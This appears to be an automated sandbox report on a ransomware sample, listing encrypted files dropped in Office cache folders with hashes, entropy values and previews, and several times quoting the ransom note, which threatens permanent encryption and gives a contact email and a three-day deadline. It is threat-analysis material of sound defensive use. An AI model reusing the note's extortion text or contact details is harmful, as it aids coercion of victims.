Encrypted:true
SSDEEP:
MD5:66CA5D08DB8423E52645A3F492FA61AB
SHA1:68917C18C3B6B4E07C1BBAD26865216844791D3B
SHA-256:A605E852A76889D336A09645F4631996DB52EC09F5BD4912846A7128433832C7
SHA-512:61608624158B52CF4763E623FE4C1C38866FE24A732BB1E59FD62673B7B4D7F9213D89481E427858C429C318D51C21A419CF2061B171E79A26D00DF6CE40CCE1
Malicious:true
Preview:- ...&..r\...O.qnn....0.Q.G.@(.N.a....{..C.....v.W.1..,.....Lk.j...W.....9.e.d..i...&.8..J...........g..G9.@..=_?..>3i*Ipf......o...."..BF.{_T{...!j.g..F.`.5...;..P...\....\B.$.....O.....3^1..I.ypc..nm.~.J.j..Slq^Rm.....[.T...2...g.p.U..e.....N...sa.<i.Q.wJ4rA.,..........Fo..;Q..u..Rp.*....^#)...B:.....t..*Q..LdD......8.s.og.y8.......OA..y...[....M.h..Z.x..%F.9.(....1.....3F...q..{*.s.UI...kI.(.U...........s...h.%.....)*.Q.w..L..@.8t....%.3.......U....>?K...B....3..c[.....E.>\...&:n.....@.K.)..R.?.lPK...C..AeVv....w".....#G,NE})fN...>..Ti.v=AN{q...HMk...4.E..h.r.O.d1x......\>e....K|.E{.....\.$.}Yr%n...+..\a.,......Q..|. Z....!..jK...j.W..#.].c.Z..m3k..2n.....B.$V..(.j..aA..#Y..j.R...D!=.z...Yb...g......$...2.|&.Un.c=..>.=...CN.Y.0.,..*...[.1.E...1..t...S...@.x........$....(U...)j...%YnPe.)...af7..U...M#(....X.C&..V......a..p1....W!&.. ,i&Y..^X..UgE..]A.go.V....^..k.W.\l>R..h..[G.h(;.AuG.6..H.......n..w.F.!B..Y...]M..f.XQ.<4

C:\MSOCache\All Users\{90160000-001A-0409-0000-0000000FF1CE}-C\OutlookMUI.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3371
Entropy (8bit):7.944261601820058
Encrypted:false
SSDEEP:
MD5:DA317A1239F1167F74D0ACD2957D706B
SHA1:7512CEA8DDD6BE849EBB7DDF163CBD7D77FB7580
SHA-256:C02CFB1CFB74ED52FA4E1D5F919578D3B7D32EEB7438631FA00B6B7664250881
SHA-512:00764F0BA9C59D6834E5BE8AF5B11EFA87E639E42243D555722635FEA9BF219E7E2EEA30F0061F329185DC58CF78CE137224287A237A596DF0F1DB4BC8ABC40B
Malicious:false
Preview:.."I..,>pS<j...G....=\1W..&.W.s{...m.=]BC...U.a.\.O...[0 V.>J....."..T...g.............~b....Nz....w ...]../.%..d...VR.)lr.|,...Z....@IY..........oX*+....Xt".#K.\.....NP........}-. .c..;..A.L....L..|:.....=.q.M.....&......8..t.4...=s....A.K..9..p..B|..E?...A...m.G...:V.^.(.(.!...G.0.XU..........'W..{..'.Yc.V._....p%.r..W....o.y.=..J....{|h..g.ec.Zr|.~0\.99.G....nk.....+~^.z..-..#..(....7.0*..|..J.t.@...;..J..k.....*D3K.y..y...`.["C]..m......[....#..[.L..yD.......[.7u..5C..+.W.^.6.o...4...i)j.X.&\pz...F..<9#..nS.E.+<..j]..pW..%&....H..GE`a.K..mK..c.|..s.......W./.....c.9.....:..?.Zn;.O......\..l....hB#.4..*.#\.6.....d..J.....STe.'rA..i..4...^o.9......%i...E..\...u..{M......H.E."q...\.......^.d...x..1W.....l...&1......Z...~..9.....M. ..v..$..&......Z..h...v..e.....D'A....(.sQ[...Ll.gC'...............4...%..0...M...O..TF....G.dS+.7..../Kg.........A4oU...i...(^aV...6t.....5...!.:.i. .j.=nZ...^...9"...o6...).)i...Jb.6}.R....^.....6.6A.OLa..

C:\MSOCache\All Users\{90160000-001A-0409-0000-0000000FF1CE}-C\OutlookMUI.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3371
Entropy (8bit):7.944261601820058
Encrypted:false
SSDEEP:
MD5:DA317A1239F1167F74D0ACD2957D706B
SHA1:7512CEA8DDD6BE849EBB7DDF163CBD7D77FB7580
SHA-256:C02CFB1CFB74ED52FA4E1D5F919578D3B7D32EEB7438631FA00B6B7664250881
SHA-512:00764F0BA9C59D6834E5BE8AF5B11EFA87E639E42243D555722635FEA9BF219E7E2EEA30F0061F329185DC58CF78CE137224287A237A596DF0F1DB4BC8ABC40B
Malicious:false
Preview:.."I..,>pS<j...G....=\1W..&.W.s{...m.=]BC...U.a.\.O...[0 V.>J....."..T...g.............~b....Nz....w ...]../.%..d...VR.)lr.|,...Z....@IY..........oX*+....Xt".#K.\.....NP........}-. .c..;..A.L....L..|:.....=.q.M.....&......8..t.4...=s....A.K..9..p..B|..E?...A...m.G...:V.^.(.(.!...G.0.XU..........'W..{..'.Yc.V._....p%.r..W....o.y.=..J....{|h..g.ec.Zr|.~0\.99.G....nk.....+~^.z..-..#..(....7.0*..|..J.t.@...;..J..k.....*D3K.y..y...`.["C]..m......[....#..[.L..yD.......[.7u..5C..+.W.^.6.o...4...i)j.X.&\pz...F..<9#..nS.E.+<..j]..pW..%&....H..GE`a.K..mK..c.|..s.......W./.....c.9.....:..?.Zn;.O......\..l....hB#.4..*.#\.6.....d..J.....STe.'rA..i..4...^o.9......%i...E..\...u..{M......H.E."q...\.......^.d...x..1W.....l...&1......Z...~..9.....M. ..v..$..&......Z..h...v..e.....D'A....(.sQ[...Ll.gC'...............4...%..0...M...O..TF....G.dS+.7..../Kg.........A4oU...i...(^aV...6t.....5...!.:.i. .j.=nZ...^...9"...o6...).)i...Jb.6}.R....^.....6.6A.OLa..

C:\MSOCache\All Users\{90160000-001A-0409-0000-0000000FF1CE}-C\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\MSOCache\All Users\{90160000-001A-0409-0000-0000000FF1CE}-C\Setup.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):4404
Entropy (8bit):7.960475943997951
Encrypted:false
SSDEEP:
MD5:9F11D17F057220884BB2CFAB8D32841C
SHA1:E66DFFCCC161218FC7E77912CECE2C944532EFCA
SHA-256:8BD54006D24F265F9A92B2DDD3E3631CB473C8660512F97B60C48C3D37D64DDE
SHA-512:152ED408A3D3868A48597E97B4A65EE5DD8894BD7D30FA79DCD6D579E79D77229395DB9E508415F51171E0C63B32B186E9D1DF732DC0F63772BF055D6D220AA0
Malicious:false
Preview:'..c~+.......<...K.Q.......I...Bp.K.Yi..9z.b..l.b.".s.Q....}.+..p6..Z..4t.95O...V.J...].T.2.........s.|i...+J........-..H.\..?.W..&r.f>.#..QN[...j.......&;EIj/...;\}G.;c../]....|O.R..w.*f.h..zEY..h.9..y."..:........` .q6./...q..-_Y...K......xz2>O...w`.@i.0....J.W(Pv.......&.}.O....*g.....{......f.A.^[..vc..=..H..:...9......I.......Qi.3X..r..].n;........w..0.n. ..Ba#y,....}.../... 5....qG'}/.....YC..A..)......3..gw:&%.f&.Ze..G2........0.]B..T...0..o.%...B$...F.A...S..o.......$....+)G)e....._..-J.!E....vg..:w......o....uH..M....$.'k..I..[.w.a[......d..{.G..3u.G...R...[..E...y...z.)Q..6.2pN......!...F.#.`.Z.jqbT..^...M."y..F.t.}..%....v..c.Ca.1.@.v.0..N..:V.>Gt...{......@...)..tj....}....M...3......DQ...".]:.L.[{.}...a..}R.sZ.#..Kq.i.;........*nMi"]...:e;;v..0n@c...}.}^..o.g..+\F?.._.&.Aa..e..4..'.._k.u....w..My.....w..L.V....7..J;JG...K.N.}....W..B....A.=...@./d/.q...j.....Y'.....aFFE2X.J...-.q(9..w/D.d5.<.c.xj...IB.".....f~...%

C:\MSOCache\All Users\{90160000-001A-0409-0000-0000000FF1CE}-C\Setup.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):4404
Entropy (8bit):7.960475943997951
Encrypted:false
SSDEEP:
MD5:9F11D17F057220884BB2CFAB8D32841C
SHA1:E66DFFCCC161218FC7E77912CECE2C944532EFCA
SHA-256:8BD54006D24F265F9A92B2DDD3E3631CB473C8660512F97B60C48C3D37D64DDE
SHA-512:152ED408A3D3868A48597E97B4A65EE5DD8894BD7D30FA79DCD6D579E79D77229395DB9E508415F51171E0C63B32B186E9D1DF732DC0F63772BF055D6D220AA0
Malicious:false
Preview:'..c~+.......<...K.Q.......I...Bp.K.Yi..9z.b..l.b.".s.Q....}.+..p6..Z..4t.95O...V.J...].T.2.........s.|i...+J........-..H.\..?.W..&r.f>.#..QN[...j.......&;EIj/...;\}G.;c../]....|O.R..w.*f.h..zEY..h.9..y."..:........` .q6./...q..-_Y...K......xz2>O...w`.@i.0....J.W(Pv.......&.}.O....*g.....{......f.A.^[..vc..=..H..:...9......I.......Qi.3X..r..].n;........w..0.n. ..Ba#y,....}.../... 5....qG'}/.....YC..A..)......3..gw:&%.f&.Ze..G2........0.]B..T...0..o.%...B$...F.A...S..o.......$....+)G)e....._..-J.!E....vg..:w......o....uH..M....$.'k..I..[.w.a[......d..{.G..3u.G...R...[..E...y...z.)Q..6.2pN......!...F.#.`.Z.jqbT..^...M."y..F.t.}..%....v..c.Ca.1.@.v.0..N..:V.>Gt...{......@...)..tj....}....M...3......DQ...".]:.L.[{.}...a..}R.sZ.#..Kq.i.;........*nMi"]...:e;;v..0n@c...}.}^..o.g..+\F?.._.&.Aa..e..4..'.._k.u....w..My.....w..L.V....7..J;JG...K.N.}....W..B....A.=...@./d/.q...j.....Y'.....aFFE2X.J...-.q(9..w/D.d5.<.c.xj...IB.".....f~...%

C:\MSOCache\All Users\{90160000-001B-0409-0000-0000000FF1CE}-C\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\MSOCache\All Users\{90160000-001B-0409-0000-0000000FF1CE}-C\Setup.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3306
Entropy (8bit):7.936031245012366
Encrypted:false
SSDEEP:
MD5:2B0D78A04D8F1847AAA1A28D724812B8
SHA1:43A3EC249B59A93BCF40BC6C4E51CFB381809037
SHA-256:037580F5F6979583021820C16D0809525EE529D639E7AD33671834ABF9BA4D0C
SHA-512:0BB20A9D8AE10613D4A033721B6D341017D1D7DCAE2459A1AF8FC4FACBFBDB4BB4ACEF8966253F0E4F083DC0690EBB8952FF1848A17FDF2A4BB5980A7B02C858
Malicious:false
Preview:.r.....-.^.}.R/.P.!..#N.....O5)Q...W...k..}.4:.)..H`...p..r....C.YZ.=b...\.....~..aS...p.... v.o......s.A...Z..a.M..).D%.Vs.S+|..C..K....wJ.@.....R.z..........5...6$2.d.....'.._....J.qQ....zr!...'Z2}.$.d."...p....RS..............(..^.H.(..fv..6..al.d3....".....#..E..Z.3......&_.Q...L...<.....KG.lgoe..........1.i.a'ke.?.!..O..S.....>..\........R..8..O@.>..v.^......1...t.x!.i.a.....G..`...h.4.a....t..nB.v.,..Ii^....?.\.SJX..^.....q.qUD.>....V......LG.%/......E.1Qs.;..Y.:.Q..J.....d....i)..J......{....i..I."5..C...O;.4A.<..v.........P..q.......I.I1K...T....?a..:..D%.O......y..l.+).t..S.....)..q.u.A.'.\..*.Le.$.Vl.l..N..JE....fuv.x.%............].{.@:F.x..X3^.........../y9.,L<...]..v#q..1^....0.e.~.gE...U..<.....A.H,3...kh........5....y..S....nE9..=.cn..M.w....|.._.`T_...c..JGK..t.+X....{*..UO..2MJ..\.9...^..-...-...a.k.......3..../3u.KR.......V.....-....-F.$..;."V.|..?..C..k.A!.].{m.X..LU9.A)/.s.Z|.Gw.....K%.p-.*.......7w.cX.S..

C:\MSOCache\All Users\{90160000-001B-0409-0000-0000000FF1CE}-C\Setup.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3306
Entropy (8bit):7.936031245012366
Encrypted:false
SSDEEP:
MD5:2B0D78A04D8F1847AAA1A28D724812B8
SHA1:43A3EC249B59A93BCF40BC6C4E51CFB381809037
SHA-256:037580F5F6979583021820C16D0809525EE529D639E7AD33671834ABF9BA4D0C
SHA-512:0BB20A9D8AE10613D4A033721B6D341017D1D7DCAE2459A1AF8FC4FACBFBDB4BB4ACEF8966253F0E4F083DC0690EBB8952FF1848A17FDF2A4BB5980A7B02C858
Malicious:false
Preview:.r.....-.^.}.R/.P.!..#N.....O5)Q...W...k..}.4:.)..H`...p..r....C.YZ.=b...\.....~..aS...p.... v.o......s.A...Z..a.M..).D%.Vs.S+|..C..K....wJ.@.....R.z..........5...6$2.d.....'.._....J.qQ....zr!...'Z2}.$.d."...p....RS..............(..^.H.(..fv..6..al.d3....".....#..E..Z.3......&_.Q...L...<.....KG.lgoe..........1.i.a'ke.?.!..O..S.....>..\........R..8..O@.>..v.^......1...t.x!.i.a.....G..`...h.4.a....t..nB.v.,..Ii^....?.\.SJX..^.....q.qUD.>....V......LG.%/......E.1Qs.;..Y.:.Q..J.....d....i)..J......{....i..I."5..C...O;.4A.<..v.........P..q.......I.I1K...T....?a..:..D%.O......y..l.+).t..S.....)..q.u.A.'.\..*.Le.$.Vl.l..N..JE....fuv.x.%............].{.@:F.x..X3^.........../y9.,L<...]..v#q..1^....0.e.~.gE...U..<.....A.H,3...kh........5....y..S....nE9..=.cn..M.w....|.._.`T_...c..JGK..t.+X....{*..UO..2MJ..\.9...^..-...-...a.k.......3..../3u.KR.......V.....-....-F.$..;."V.|..?..C..k.A!.].{m.X..LU9.A)/.s.Z|.Gw.....K%.p-.*.......7w.cX.S..

C:\MSOCache\All Users\{90160000-001B-0409-0000-0000000FF1CE}-C\WordLR.cab

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):10080267
Entropy (8bit):7.999387105562405
Encrypted:true
SSDEEP:
MD5:FA040C89B33F8970B9C8FE4F0DF2B27F
SHA1:A03332F7BF387CB32E67283B5E094980832A5995
SHA-256:A75C890ECAE48A4873E674C972714FD16896591429D0595BE9561CFBB8C06A59
SHA-512:1489F69F755D47E0F1080F029613EACBE462B45CF0A3BEE7DF04527B9F66A07E933AD04C653D5CC46B226176FD01E4368B7BC5B622BB5F81FF5BDE91891A1369
Malicious:true
Preview:I..!.F.k..9.;......}".....V..-f:R..ZO...z?a.) ..-./.l...C.k.6j...C..A.4..&.C...~.Q.5...+..N.D........@..n[...`.;.....!.Z.s.."......C.gD.)#..AMWB.....+..;.mT....v..e|#_JF.n..'.O......+.. 5.......4J.Z#.)r.S....u|..'....s..)@...1..5..P<[9V....`b.YO.n...b../....Y.|..=..j....A.|7..I.)}..b"wy`.Bw......L...\ .p(.Yp..&...%...:.i....5...R.I..M......>B~e6.m..k.)..j.._u..+....hZ..~.>.RV...yD..u..UHqr..*..=.iXN..^...9m.6J>.@....E.........LH.l(...tN.9.=.s3=...&...2`.9.$....6..'..YLc..4|7oC..{].<Y.K.r.oS......%V.d>/...I....g.5.Y+e....R...d.T@.Q.J.g@....3...7......c7'm..kH..m.....y..<h.mtl.bA...'...._.V<S..b..g..|'..>.M..E.q..wxz@m....TZ.f.]....sh8F..k..D.I.YH.P.p..?FRi..j..S...us.y8.=8.{......1.0.o.(k#.s....by...........b.G..l..J-.^..pYM..1.1,v)..a....j&..T@.E...Z..HRj.F...C...I0.+W.._...u.e...}`^.Co..N.`.....8k.....rq..w.D.9......./..3......<........_.=...<....CKL._.T<....4|m]..,..,.-s.......^..[ij]?...|;-..%(}..o..Ed..._p...............,...O'q....

C:\MSOCache\All Users\{90160000-001B-0409-0000-0000000FF1CE}-C\WordLR.cab.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):10080267
Entropy (8bit):7.999387105562405
Encrypted:true
SSDEEP:
MD5:FA040C89B33F8970B9C8FE4F0DF2B27F
SHA1:A03332F7BF387CB32E67283B5E094980832A5995
SHA-256:A75C890ECAE48A4873E674C972714FD16896591429D0595BE9561CFBB8C06A59
SHA-512:1489F69F755D47E0F1080F029613EACBE462B45CF0A3BEE7DF04527B9F66A07E933AD04C653D5CC46B226176FD01E4368B7BC5B622BB5F81FF5BDE91891A1369
Malicious:true
Preview:I..!.F.k..9.;......}".....V..-f:R..ZO...z?a.) ..-./.l...C.k.6j...C..A.4..&.C...~.Q.5...+..N.D........@..n[...`.;.....!.Z.s.."......C.gD.)#..AMWB.....+..;.mT....v..e|#_JF.n..'.O......+.. 5.......4J.Z#.)r.S....u|..'....s..)@...1..5..P<[9V....`b.YO.n...b../....Y.|..=..j....A.|7..I.)}..b"wy`.Bw......L...\ .p(.Yp..&...%...:.i....5...R.I..M......>B~e6.m..k.)..j.._u..+....hZ..~.>.RV...yD..u..UHqr..*..=.iXN..^...9m.6J>.@....E.........LH.l(...tN.9.=.s3=...&...2`.9.$....6..'..YLc..4|7oC..{].<Y.K.r.oS......%V.d>/...I....g.5.Y+e....R...d.T@.Q.J.g@....3...7......c7'm..kH..m.....y..<h.mtl.bA...'...._.V<S..b..g..|'..>.M..E.q..wxz@m....TZ.f.]....sh8F..k..D.I.YH.P.p..?FRi..j..S...us.y8.=8.{......1.0.o.(k#.s....by...........b.G..l..J-.^..pYM..1.1,v)..a....j&..T@.E...Z..HRj.F...C...I0.+W.._...u.e...}`^.Co..N.`.....8k.....rq..w.D.9......./..3......<........_.=...<....CKL._.T<....4|m]..,..,.-s.......^..[ij]?...|;-..%(}..o..Ed..._p...............,...O'q....

C:\MSOCache\All Users\{90160000-001B-0409-0000-0000000FF1CE}-C\WordMUI.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2642
Entropy (8bit):7.916808350850443
Encrypted:false
SSDEEP:
MD5:11F391EB38662EE52FACC9E1297037A4
SHA1:63B28D659EC974551109658AFF9C23195CA88F70
SHA-256:9FA4ABCA4ED658008EE8E00F982D8BAFEACCE878F809B96CAD47D13675B19656
SHA-512:B7D7C83F78CD9752A4DECA0171DF5FBABE5B3E60E5569FCA70B4E4315475C821B72DC7CB694FEDF1899010748D2920A7A5EBAC4D10BAC386A358215DCEE74008
Malicious:false
Preview:.2..a.^.*..5....)..WE..:.........VzP.B..Q......%.....B.=I*.....t... .^.G....k...._....d...|2.i.~:.....'.u....=.@[.;D..e.\S.z..mp.7:aK..q/...Ew.Z......|....a.T....V%...*0Rg@..pZ.qkd..s...'..U....l..Z.s.<.B&e.H....fG7...^..S(?F.....0.1....d'+.QW....%.$..K. .F..n...z]zc....P....B..rk..D.Pw...yy.v.........!={...k........l&.G.n..........{.:.>.|,..5.3..O..&jj.L?.....AT.+.Gvnm..J..+:.=...>...k9b...*D..f.w,.. .P......C..D.^.B....&P.~.e...J)..... ......'.7=.A&......#........P-.uE"...V@.H.n....G~...f.+.p6..@..0...n..|.A...2Omx.)....8.......O...^c:...U..Z}..!..q.*.I...(s......e1c.#...Z..........E......$$3...+z ..R.fi....&......Z-r.)YVO.v..Jd.R3(......M:.`l.* `*...(l..._4...t..../.....s>.2...w....K..[.}..w...z..7g...].8.MnN"...s.!.=...fU..{7.K&..w.N...8. .md./P.\]....(..e.RFf.q...Y..<]..n.F_2.S.K..p.Uz..[SLGg.OD....Z.hs.|.>.@G.t.wW.....,..R.tr..~(.JH....P..0..........{...?D<[...s......Pl..n}...\.)........qz.sO.,...O..g...J..Q..\..DQg..h.]..>..

C:\MSOCache\All Users\{90160000-001B-0409-0000-0000000FF1CE}-C\WordMUI.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2642
Entropy (8bit):7.916808350850443
Encrypted:false
SSDEEP:
MD5:11F391EB38662EE52FACC9E1297037A4
SHA1:63B28D659EC974551109658AFF9C23195CA88F70
SHA-256:9FA4ABCA4ED658008EE8E00F982D8BAFEACCE878F809B96CAD47D13675B19656
SHA-512:B7D7C83F78CD9752A4DECA0171DF5FBABE5B3E60E5569FCA70B4E4315475C821B72DC7CB694FEDF1899010748D2920A7A5EBAC4D10BAC386A358215DCEE74008
Malicious:false
Preview:.2..a.^.*..5....)..WE..:.........VzP.B..Q......%.....B.=I*.....t... .^.G....k...._....d...|2.i.~:.....'.u....=.@[.;D..e.\S.z..mp.7:aK..q/...Ew.Z......|....a.T....V%...*0Rg@..pZ.qkd..s...'..U....l..Z.s.<.B&e.H....fG7...^..S(?F.....0.1....d'+.QW....%.$..K. .F..n...z]zc....P....B..rk..D.Pw...yy.v.........!={...k........l&.G.n..........{.:.>.|,..5.3..O..&jj.L?.....AT.+.Gvnm..J..+:.=...>...k9b...*D..f.w,.. .P......C..D.^.B....&P.~.e...J)..... ......'.7=.A&......#........P-.uE"...V@.H.n....G~...f.+.p6..@..0...n..|.A...2Omx.)....8.......O...^c:...U..Z}..!..q.*.I...(s......e1c.#...Z..........E......$$3...+z ..R.fi....&......Z-r.)YVO.v..Jd.R3(......M:.`l.* `*...(l..._4...t..../.....s>.2...w....K..[.}..w...z..7g...].8.MnN"...s.!.=...fU..{7.K&..w.N...8. .md./P.\]....(..e.RFf.q...Y..<]..n.F_2.S.K..p.Uz..[SLGg.OD....Z.hs.|.>.@G.t.wW.....,..R.tr..~(.JH....P..0..........{...?D<[...s......Pl..n}...\.)........qz.sO.,...O..g...J..Q..\..DQg..h.]..>..

C:\MSOCache\All Users\{90160000-002C-0409-0000-0000000FF1CE}-C\Proofing.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1558
Entropy (8bit):7.854442633868881
Encrypted:false
SSDEEP:
MD5:B3D1F8F8D5442556967661706D8058DA
SHA1:EBD674070D8101BBC8B66D70CB6FEC44587D416E
SHA-256:AA82BB4A1B37D9156508CE3A86BD27D96E3E544086544A9B3334E066779BB6C2
SHA-512:74B44A631AAB40E1BDDA02CE05AB9B24BDA8385ECBA2F100203DA7CAC10AD96268760D663FD0587B8CF3EEED95938C436FDB658CAAB4A479E290E6AF7F0661CF
Malicious:false
Preview:.Y.....u8.O.;.l+t.H...@.z..M.T.D.}o...Y.6..+....,Q.?.....Zo....6.:...y.X........-&......2~V7:..'....C..N..d..B.g+...2p.y..~7.........5......Q.Dh.{.v}.<..].\Y...5a.#......&..tGD.C.*8[[|..> }..D...lc...0....,.I.@..sE."j...-..p..[.h..qxUw..............z..wz......r...s>.o..l'z....u...+.....w.......fG.QSNjk+.^...H.j...C...^ChV&......{.R.L...8#.{..uh.i......>.}..w.l.X.^5....%.N%.....v.x..o.Cw3..2^#.a...[cR.]b}>`.t..(].....1...........;)rAI...I5...............EO...].0U.'X...[...3f..;.x..!.2...C.....1..T....nD.........=M..\...{7@.=...b..h.....N...r...T..-f....x...r.(...IKY.ue.y....E.S9etk=.c....4.R..J...!IK.~-.#....Q;.$...}.K].5.'..'u..l..oo"k.Z..T.r1...u[R..3.....(.I.%.&...8.W..OJ*8....)...X..@..\......E.....b.waec........{8A...q ..eb....V.........$.I..im,.sH.:.%#<....k.AJ....R=.."f..B....q.c....t.....Ae[.......x.*8...H...I..c......s.^.eV*......{..n.,wC.....1.x..M........!e.|......z..*^>..)k.....)%.{....u..$...1. ....P.;8..m.B.,..k)..r..Y.2j.&+

C:\MSOCache\All Users\{90160000-002C-0409-0000-0000000FF1CE}-C\Proofing.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1558
Entropy (8bit):7.854442633868881
Encrypted:false
SSDEEP:
MD5:B3D1F8F8D5442556967661706D8058DA
SHA1:EBD674070D8101BBC8B66D70CB6FEC44587D416E
SHA-256:AA82BB4A1B37D9156508CE3A86BD27D96E3E544086544A9B3334E066779BB6C2
SHA-512:74B44A631AAB40E1BDDA02CE05AB9B24BDA8385ECBA2F100203DA7CAC10AD96268760D663FD0587B8CF3EEED95938C436FDB658CAAB4A479E290E6AF7F0661CF
Malicious:false
Preview:.Y.....u8.O.;.l+t.H...@.z..M.T.D.}o...Y.6..+....,Q.?.....Zo....6.:...y.X........-&......2~V7:..'....C..N..d..B.g+...2p.y..~7.........5......Q.Dh.{.v}.<..].\Y...5a.#......&..tGD.C.*8[[|..> }..D...lc...0....,.I.@..sE."j...-..p..[.h..qxUw..............z..wz......r...s>.o..l'z....u...+.....w.......fG.QSNjk+.^...H.j...C...^ChV&......{.R.L...8#.{..uh.i......>.}..w.l.X.^5....%.N%.....v.x..o.Cw3..2^#.a...[cR.]b}>`.t..(].....1...........;)rAI...I5...............EO...].0U.'X...[...3f..;.x..!.2...C.....1..T....nD.........=M..\...{7@.=...b..h.....N...r...T..-f....x...r.(...IKY.ue.y....E.S9etk=.c....4.R..J...!IK.~-.#....Q;.$...}.K].5.'..'u..l..oo"k.Z..T.r1...u[R..3.....(.I.%.&...8.W..OJ*8....)...X..@..\......E.....b.waec........{8A...q ..eb....V.........$.I..im,.sH.:.%#<....k.AJ....R=.."f..B....q.c....t.....Ae[.......x.*8...H...I..c......s.^.eV*......{..n.,wC.....1.x..M........!e.|......z..*^>..)k.....)%.{....u..$...1. ....P.;8..m.B.,..k)..r..Y.2j.&+

C:\MSOCache\All Users\{90160000-002C-0409-0000-0000000FF1CE}-C\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\MSOCache\All Users\{90160000-002C-0409-0000-0000000FF1CE}-C\Setup.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):6601
Entropy (8bit):7.971571818282002
Encrypted:false
SSDEEP:
MD5:5CECAE7160C6FDE13C0925DAB3735E50
SHA1:25D0D6A3109280FE4D4FA6C070D3A33249924C7B
SHA-256:C7538C4B257482E3AC6306E6018961A4A59CD01B240C36102FCEB574B68CFE9A
SHA-512:3532F797B084D0FC3C6A2BB6454DF74DBBB205DEB4AD3690EDB8A3BD37A8A90920D535EFFBA695CFFEF553DB94393461D67836CB51CCC1D19C1592E0AF3582DF
Malicious:false
